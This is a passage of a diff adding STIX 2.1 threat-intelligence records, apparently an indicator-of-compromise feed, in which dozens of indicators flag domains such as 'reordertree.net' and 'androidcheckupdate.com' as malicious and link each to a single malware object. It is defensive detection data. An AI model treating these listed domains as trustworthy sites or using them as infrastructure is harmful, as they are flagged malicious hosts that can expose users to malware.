"malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--220b2528-bd32-4c01-9e26-e38756e4557b", + "created": "2024-05-02T08:36:18.540425Z", + "modified": "2024-05-02T08:36:18.540425Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wateringreviews.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.540425Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--477af692-c8ac-48f6-8134-0842d001c9b7", + "created": "2024-05-02T08:36:18.540827Z", + "modified": "2024-05-02T08:36:18.540827Z", + "relationship_type": "indicates", + "source_ref": "indicator--220b2528-bd32-4c01-9e26-e38756e4557b", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d9f968d-a8e7-4698-b492-f937789fb2ca", + "created": "2024-05-02T08:36:18.540924Z", + "modified": "2024-05-02T08:36:18.540924Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reordertree.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.540924Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d71ac595-bd44-4754-8cc1-6ca9bfeaada1", + "created": "2024-05-02T08:36:18.54132Z", + "modified": "2024-05-02T08:36:18.54132Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d9f968d-a8e7-4698-b492-f937789fb2ca", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--26ee1fab-725b-436e-9da1-31c7816c5bbb", + "created": "2024-05-02T08:36:18.541423Z", + "modified": "2024-05-02T08:36:18.541423Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='getinstitution.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.541423Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ad9a5444-bb24-45f4-ac97-dcea84f286be", + "created": "2024-05-02T08:36:18.541828Z", + "modified": "2024-05-02T08:36:18.541828Z", + "relationship_type": "indicates", + "source_ref": "indicator--26ee1fab-725b-436e-9da1-31c7816c5bbb", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e3ab786-8614-4cae-a70e-793b538126d7", + "created": "2024-05-02T08:36:18.54193Z", + "modified": "2024-05-02T08:36:18.54193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sodahub.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.54193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9fafcfad-431b-429d-8e4d-61c2abeb1cb4", + "created": "2024-05-02T08:36:18.542324Z", + "modified": "2024-05-02T08:36:18.542324Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e3ab786-8614-4cae-a70e-793b538126d7", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f85334ff-770b-4fda-89b9-c0b9cd812716", + "created": "2024-05-02T08:36:18.542421Z", + "modified": "2024-05-02T08:36:18.542421Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trvelingguide.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.542421Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3206a91d-91fa-4ada-963c-8f8eb47af782", + "created": "2024-05-02T08:36:18.542828Z", + "modified": "2024-05-02T08:36:18.542828Z", + "relationship_type": "indicates", + "source_ref": "indicator--f85334ff-770b-4fda-89b9-c0b9cd812716", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1aba5af6-177a-4873-8fc9-bae9c11b9762", + "created": "2024-05-02T08:36:18.542929Z", + "modified": "2024-05-02T08:36:18.542929Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='caronspot.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.542929Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ad9ceebb-9de2-471b-bdce-0ae4a5473f3f", + "created": "2024-05-02T08:36:18.54332Z", + "modified": "2024-05-02T08:36:18.54332Z", + "relationship_type": "indicates", + "source_ref": "indicator--1aba5af6-177a-4873-8fc9-bae9c11b9762", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ac4bfabe-8629-4682-9b03-ffdd499e3349", + "created": "2024-05-02T08:36:18.543415Z", + "modified": "2024-05-02T08:36:18.543415Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ultrajewelery.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.543415Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6122bb52-7ab4-4774-be6d-908c3618a16a", + "created": "2024-05-02T08:36:18.543809Z", + "modified": "2024-05-02T08:36:18.543809Z", + "relationship_type": "indicates", + "source_ref": "indicator--ac4bfabe-8629-4682-9b03-ffdd499e3349", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f64eea1d-fd5b-4591-962f-eccba86869eb", + "created": "2024-05-02T08:36:18.54391Z", + "modified": "2024-05-02T08:36:18.54391Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='foodystudio.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.54391Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--22f2ac41-c8fd-4e6d-b6b1-5ffe4198864e", + "created": "2024-05-02T08:36:18.544321Z", + "modified": "2024-05-02T08:36:18.544321Z", + "relationship_type": "indicates", + "source_ref": "indicator--f64eea1d-fd5b-4591-962f-eccba86869eb", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eccd377d-8da8-498c-9c88-f274cbacdc0f", + "created": "2024-05-02T08:36:18.544419Z", + "modified": "2024-05-02T08:36:18.544419Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mylaylastore.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.544419Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7acb3a5c-0e6f-4a44-95c2-1a453df1a954", + "created": "2024-05-02T08:36:18.545104Z", + "modified": "2024-05-02T08:36:18.545104Z", + "relationship_type": "indicates", + "source_ref": "indicator--eccd377d-8da8-498c-9c88-f274cbacdc0f", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--19d797b2-2dfa-4fbd-a508-d995d99f563b", + "created": "2024-05-02T08:36:18.545204Z", + "modified": "2024-05-02T08:36:18.545204Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fitnessstar.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.545204Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6bdd3bcf-c11c-4cdf-816a-1653c6b5f270", + "created": "2024-05-02T08:36:18.54561Z", + "modified": "2024-05-02T08:36:18.54561Z", + "relationship_type": "indicates", + "source_ref": "indicator--19d797b2-2dfa-4fbd-a508-d995d99f563b", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dba70a7b-6f6e-4536-b317-db83909b6d37", + "created": "2024-05-02T08:36:18.54571Z", + "modified": "2024-05-02T08:36:18.54571Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='paperscissors.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.54571Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6bceeeeb-5991-46a7-92e8-59315bbd2d66", + "created": "2024-05-02T08:36:18.546108Z", + "modified": "2024-05-02T08:36:18.546108Z", + "relationship_type": "indicates", + "source_ref": "indicator--dba70a7b-6f6e-4536-b317-db83909b6d37", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94732532-271e-4cd6-a0ad-7cc0d5b0d3e4", + "created": "2024-05-02T08:36:18.546206Z", + "modified": "2024-05-02T08:36:18.546206Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='techarmys.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.546206Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--26e0a1e2-63a4-466b-af33-4e5f4666eb59", + "created": "2024-05-02T08:36:18.546599Z", + "modified": "2024-05-02T08:36:18.546599Z", + "relationship_type": "indicates", + "source_ref": "indicator--94732532-271e-4cd6-a0ad-7cc0d5b0d3e4", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a560aac4-5e58-4a68-90d4-8d2dabe5c4ca", + "created": "2024-05-02T08:36:18.5467Z", + "modified": "2024-05-02T08:36:18.5467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cartechnews.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.5467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d639e900-a1e5-4358-bb0b-cd3612229f3b", + "created": "2024-05-02T08:36:18.547094Z", + "modified": "2024-05-02T08:36:18.547094Z", + "relationship_type": "indicates", + "source_ref": "indicator--a560aac4-5e58-4a68-90d4-8d2dabe5c4ca", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--278c6f67-1b80-4130-a9a4-ae9ae4b3ee4e", + "created": "2024-05-02T08:36:18.547193Z", + "modified": "2024-05-02T08:36:18.547193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spacevocal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.547193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--132dbd6e-8e44-4a98-a34a-7605373a4a46", + "created": "2024-05-02T08:36:18.547593Z", + "modified": "2024-05-02T08:36:18.547593Z", + "relationship_type": "indicates", + "source_ref": "indicator--278c6f67-1b80-4130-a9a4-ae9ae4b3ee4e", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7d313b45-9119-4098-89df-9524e39893a8", + "created": "2024-05-02T08:36:18.547692Z", + "modified": "2024-05-02T08:36:18.547692Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='seneweb.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.547692Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01a50be8-9d7f-4110-beb7-c00489009216", + "created": "2024-05-02T08:36:18.548089Z", + "modified": "2024-05-02T08:36:18.548089Z", + "relationship_type": "indicates", + "source_ref": "indicator--7d313b45-9119-4098-89df-9524e39893a8", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1ec6d0da-bb1a-4141-a26b-8a3275348796", + "created": "2024-05-02T08:36:18.548187Z", + "modified": "2024-05-02T08:36:18.548187Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tilesget.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.548187Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--78d9bc79-a2d3-4e01-a745-8d8a0abb2a63", + "created": "2024-05-02T08:36:18.54858Z", + "modified": "2024-05-02T08:36:18.54858Z", + "relationship_type": "indicates", + "source_ref": "indicator--1ec6d0da-bb1a-4141-a26b-8a3275348796", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--26e5a762-3c0a-4227-9aa0-2a30a3e880f4", + "created": "2024-05-02T08:36:18.54868Z", + "modified": "2024-05-02T08:36:18.54868Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='storm-tech.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.54868Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--56b3d5f1-a838-4e72-9b6b-7989094a8ca2", + "created": "2024-05-02T08:36:18.549073Z", + "modified": "2024-05-02T08:36:18.549073Z", + "relationship_type": "indicates", + "source_ref": "indicator--26e5a762-3c0a-4227-9aa0-2a30a3e880f4", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4c562a7-3047-4f91-a516-8958d9acfab6", + "created": "2024-05-02T08:36:18.549187Z", + "modified": "2024-05-02T08:36:18.549187Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dakaractu.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.549187Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7cec21c3-2482-42b7-831d-eff2d389595f", + "created": "2024-05-02T08:36:18.54958Z", + "modified": "2024-05-02T08:36:18.54958Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4c562a7-3047-4f91-a516-8958d9acfab6", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--344c608b-9d0a-4118-8c67-02ba54c85660", + "created": "2024-05-02T08:36:18.549677Z", + "modified": "2024-05-02T08:36:18.549677Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='proteinreviews.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.549677Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c246825a-9f61-46c9-adb9-d73908dfb217", + "created": "2024-05-02T08:36:18.55016Z", + "modified": "2024-05-02T08:36:18.55016Z", + "relationship_type": "indicates", + "source_ref": "indicator--344c608b-9d0a-4118-8c67-02ba54c85660", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--299279e7-c290-4857-861f-1193c1957e5d", + "created": "2024-05-02T08:36:18.550263Z", + "modified": "2024-05-02T08:36:18.550263Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='restroad.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.550263Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d30c328b-5739-47ca-a074-f995b0ae18ff", + "created": "2024-05-02T08:36:18.550665Z", + "modified": "2024-05-02T08:36:18.550665Z", + "relationship_type": "indicates", + "source_ref": "indicator--299279e7-c290-4857-861f-1193c1957e5d", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--38c78cbe-8689-4029-b6d9-3fed9d28852c", + "created": "2024-05-02T08:36:18.550764Z", + "modified": "2024-05-02T08:36:18.550764Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jeuneafrique.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.550764Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc57f413-9bc3-46bd-b06f-d5ef9d863d4d", + "created": "2024-05-02T08:36:18.551164Z", + "modified": "2024-05-02T08:36:18.551164Z", + "relationship_type": "indicates", + "source_ref": "indicator--38c78cbe-8689-4029-b6d9-3fed9d28852c", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0031f8b9-b809-492b-8783-8fb44a2e7a4b", + "created": "2024-05-02T08:36:18.551262Z", + "modified": "2024-05-02T08:36:18.551262Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gamingtoday.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.551262Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27dec442-6c17-47d3-9aa2-9ff673606751", + "created": "2024-05-02T08:36:18.551659Z", + "modified": "2024-05-02T08:36:18.551659Z", + "relationship_type": "indicates", + "source_ref": "indicator--0031f8b9-b809-492b-8783-8fb44a2e7a4b", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--364a1b1b-4904-41ef-aafc-9885af029b42", + "created": "2024-05-02T08:36:18.551756Z", + "modified": "2024-05-02T08:36:18.551756Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='daily-tech.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.551756Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5f687ae1-33b3-4796-a10b-00339ef503ae", + "created": "2024-05-02T08:36:18.552148Z", + "modified": "2024-05-02T08:36:18.552148Z", + "relationship_type": "indicates", + "source_ref": "indicator--364a1b1b-4904-41ef-aafc-9885af029b42", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--743ef5ad-6d96-459a-9782-8ae3cd57f5a0", + "created": "2024-05-02T08:36:18.552244Z", + "modified": "2024-05-02T08:36:18.552244Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='designercellular.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.552244Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--558fd8fd-2b56-4d41-bc6c-95144565075b", + "created": "2024-05-02T08:36:18.55265Z", + "modified": "2024-05-02T08:36:18.55265Z", + "relationship_type": "indicates", + "source_ref": "indicator--743ef5ad-6d96-459a-9782-8ae3cd57f5a0", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--231a5c20-8cc7-4d7d-8fb4-eccd0412265b", + "created": "2024-05-02T08:36:18.552752Z", + "modified": "2024-05-02T08:36:18.552752Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coffeedirectory.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.552752Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e45a11fd-24a0-4b72-b6a6-1c7902a2f61b", + "created": "2024-05-02T08:36:18.553153Z", + "modified": "2024-05-02T08:36:18.553153Z", + "relationship_type": "indicates", + "source_ref": "indicator--231a5c20-8cc7-4d7d-8fb4-eccd0412265b", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f1c8697f-d6d1-41fe-8fe5-9583889936d2", + "created": "2024-05-02T08:36:18.553251Z", + "modified": "2024-05-02T08:36:18.553251Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dealsenterprise.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.553251Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7a5ea3c5-57bf-4a8a-9b34-5ddf63b48158", + "created": "2024-05-02T08:36:18.553653Z", + "modified": "2024-05-02T08:36:18.553653Z", + "relationship_type": "indicates", + "source_ref": "indicator--f1c8697f-d6d1-41fe-8fe5-9583889936d2", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--805ebc0f-1d5f-4d95-bfef-6ed3af89d425", + "created": "2024-05-02T08:36:18.55375Z", + "modified": "2024-05-02T08:36:18.55375Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unlockcredit.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.55375Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d1770ca-342b-47b4-93b5-7c9c97c1c511", + "created": "2024-05-02T08:36:18.554159Z", + "modified": "2024-05-02T08:36:18.554159Z", + "relationship_type": "indicates", + "source_ref": "indicator--805ebc0f-1d5f-4d95-bfef-6ed3af89d425", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9f63b4c3-459c-4fb7-bc4b-37f0313d2d37", + "created": "2024-05-02T08:36:18.554258Z", + "modified": "2024-05-02T08:36:18.554258Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='webtechuse.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.554258Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f2b80677-af03-4d89-bb1a-f581ddd0a6bc", + "created": "2024-05-02T08:36:18.554751Z", + "modified": "2024-05-02T08:36:18.554751Z", + "relationship_type": "indicates", + "source_ref": "indicator--9f63b4c3-459c-4fb7-bc4b-37f0313d2d37", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2394f20d-99ea-4c77-8fbb-0101abdd226e", + "created": "2024-05-02T08:36:18.554854Z", + "modified": "2024-05-02T08:36:18.554854Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='getappnion.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.554854Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bff93b06-76b7-41f1-8e99-b25c63f315e4", + "created": "2024-05-02T08:36:18.555252Z", + "modified": "2024-05-02T08:36:18.555252Z", + "relationship_type": "indicates", + "source_ref": "indicator--2394f20d-99ea-4c77-8fbb-0101abdd226e", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7006a37-4ef5-48a7-a40e-fe3ab90c23c0", + "created": "2024-05-02T08:36:18.555356Z", + "modified": "2024-05-02T08:36:18.555356Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='numbersnews.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.555356Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7de60949-f1c9-4726-b14e-15a4978c3c61", + "created": "2024-05-02T08:36:18.555752Z", + "modified": "2024-05-02T08:36:18.555752Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7006a37-4ef5-48a7-a40e-fe3ab90c23c0", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--80a50e6a-c07e-4cbb-8540-d7055d3e3b24", + "created": "2024-05-02T08:36:18.555851Z", + "modified": "2024-05-02T08:36:18.555851Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='all-life-fitness.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.555851Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a3199dac-bb84-47c4-a0ec-7ec2417cf1da", + "created": "2024-05-02T08:36:18.556254Z", + "modified": "2024-05-02T08:36:18.556254Z", + "relationship_type": "indicates", + "source_ref": "indicator--80a50e6a-c07e-4cbb-8540-d7055d3e3b24", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fcf30cac-35cd-4fc3-bf59-f20a9e3ee1fe", + "created": "2024-05-02T08:36:18.556356Z", + "modified": "2024-05-02T08:36:18.556356Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='backpackerreviews.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.556356Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba50d6a7-83a9-4856-95ef-2b70a7808af0", + "created": "2024-05-02T08:36:18.556755Z", + "modified": "2024-05-02T08:36:18.556755Z", + "relationship_type": "indicates", + "source_ref": "indicator--fcf30cac-35cd-4fc3-bf59-f20a9e3ee1fe", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--001ef64e-0d17-4c9f-9680-9f4963d15fcc", + "created": "2024-05-02T08:36:18.556857Z", + "modified": "2024-05-02T08:36:18.556857Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='biznetforum.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.556857Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--87ab6a4c-f3f2-4acd-b869-7ad58ae60657", + "created": "2024-05-02T08:36:18.557247Z", + "modified": "2024-05-02T08:36:18.557247Z", + "relationship_type": "indicates", + "source_ref": "indicator--001ef64e-0d17-4c9f-9680-9f4963d15fcc", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--419463d7-7d8e-4b40-8909-41dc35f39673", + "created": "2024-05-02T08:36:18.557345Z", + "modified": "2024-05-02T08:36:18.557345Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='celltechnollogy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.557345Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8a18e483-f851-4501-9073-02796c43876c", + "created": "2024-05-02T08:36:18.557751Z", + "modified": "2024-05-02T08:36:18.557751Z", + "relationship_type": "indicates", + "source_ref": "indicator--419463d7-7d8e-4b40-8909-41dc35f39673", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e74732e1-ff46-4a95-a410-cd7a97ffa347", + "created": "2024-05-02T08:36:18.557846Z", + "modified": "2024-05-02T08:36:18.557846Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sporthome.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.557846Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b1cee4a7-b6b8-485c-86c9-ecf00d44986d", + "created": "2024-05-02T08:36:18.558243Z", + "modified": "2024-05-02T08:36:18.558243Z", + "relationship_type": "indicates", + "source_ref": "indicator--e74732e1-ff46-4a95-a410-cd7a97ffa347", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6fad770d-1bdc-4a4a-b7f4-d355aa81380d", + "created": "2024-05-02T08:36:18.55834Z", + "modified": "2024-05-02T08:36:18.55834Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blastermaster.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.55834Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0fb8d6e5-6e84-47f0-9ab4-834477630647", + "created": "2024-05-02T08:36:18.558734Z", + "modified": "2024-05-02T08:36:18.558734Z", + "relationship_type": "indicates", + "source_ref": "indicator--6fad770d-1bdc-4a4a-b7f4-d355aa81380d", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e8884f0b-be87-43c4-894d-b139ab317e03", + "created": "2024-05-02T08:36:18.558832Z", + "modified": "2024-05-02T08:36:18.558832Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='androidcheckupdate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.558832Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2708a26b-87b0-4bf4-9033-b67b5b221c07", + "created": 